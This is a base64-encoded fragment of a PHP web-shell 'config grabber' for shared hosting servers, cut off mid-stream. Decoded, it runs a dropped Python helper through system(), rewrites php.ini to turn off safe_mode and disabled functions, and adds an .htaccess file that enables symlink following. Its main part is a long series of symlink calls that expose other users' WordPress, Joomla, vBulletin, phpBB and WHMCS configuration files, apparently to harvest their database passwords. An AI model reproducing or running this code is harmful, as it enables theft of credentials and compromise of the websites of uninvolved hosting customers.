JMUxtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TmlBOUlISmxMbk5sWVhKamFDQW9jaUlvWkdKd1lYTnpkMlFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2xtSUhObFkzSTJJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqWXVaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQWdJSE5sWTNJM0lEMGdjbVV1YzJWaGNtTm9JQ2h5SWlodGIzTkRiMjVtYVdkZmNHRnpjM2R2Y21RZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0kzSUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjamN1WjNKdmRYQW9NaWtwRFFvZ0lDQWdJQ0JtTG1Oc2IzTmxLQ2tOQ21WNFkyVndkQ0FvUzJWNVltOWhjbVJKYm5SbGNuSjFjSFFwT2cwS0lDQndjbWx1ZENBblhHNVVhR0Z1YTNNZ1ptOXlJSFZ6YVc1bklHbDBJQzVmWGljPSc7CiRmaWxlID0gZm9wZW4oImNwLnB5IiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY3ApKTsKZmNsb3NlKCRmaWxlKTsKY2htb2QoImNwLnB5IiwwNzU1KTsKJHVybCA9ICRfUE9TVFsndXJsJ107CmVjaG8iPGNlbnRlcj4KPHRleHRhcmVhIGNvbHM9XCI5MFwiIHJvd3M9XCIyMFwiIG5hbWU9XCJ1c2VybmFtZXNcIj4iOwpzeXN0ZW0oInB5dGhvbiBjcC5weSAkdXJsIGNvbmZpZyIpOwp1bmxpbmsgKCdjcC5weScpOwplY2hvIjwvdGV4dGFyZWE+CjwvY2VudGVyPiI7CmVjaG8gIjxocj48Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPiA8PCBCQUNLPC9hPiI7CmV4aXQ7Cn0KaWYoJF9QT1NUWydtYXRpa2FuJ109PSdzZWthdGFuJyl7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CiRwaHBpbmkgPQonYzJGbVpWOXRiMlJsUFU5R1JnMEtaR2x6WVdKc1pWOW1kVzVqZEdsdmJuTTlUazlPUlE9PSc7CiRmaWxlID0gZm9wZW4oInBocC5pbmkiLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRwaHBpbmkpKTsKZmNsb3NlKCRmaWxlKTsKJGh0YWNjZXNzID0KJ1QzQjBhVzl1Y3lCR2IyeHNiM2RUZVcxTWFXNXJjeUJOZFd4MGFWWnBaWGR6SUVsdVpHVjRaWE1nUlhobFkwTkhTUT09JzsKJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsKZWNobyAiPGhyPjxjZW50ZXI+PGI+RE9ORSEiOwplY2hvICI8aHI+PGNlbnRlcj48Yj48YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7CmV4aXQ7Cn0KaWYoJF9QT1NUWydtZW5kYXBhdGthbiddPT0ncGFzc3dkJyl7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cm9iX3N0YXJ0KCk7CmVycm9yX3JlcG9ydGluZygwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwokZm4gPSAkX1BPU1RbJ2ZvbGRlcm5hbWUnXTsKLy9hbGwgZnVuY3Rpb24gaGVyZQoKZnVuY3Rpb24gc3ltbCgkdXNlcm4sJHBkb21haW4pCgl7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CgkJc3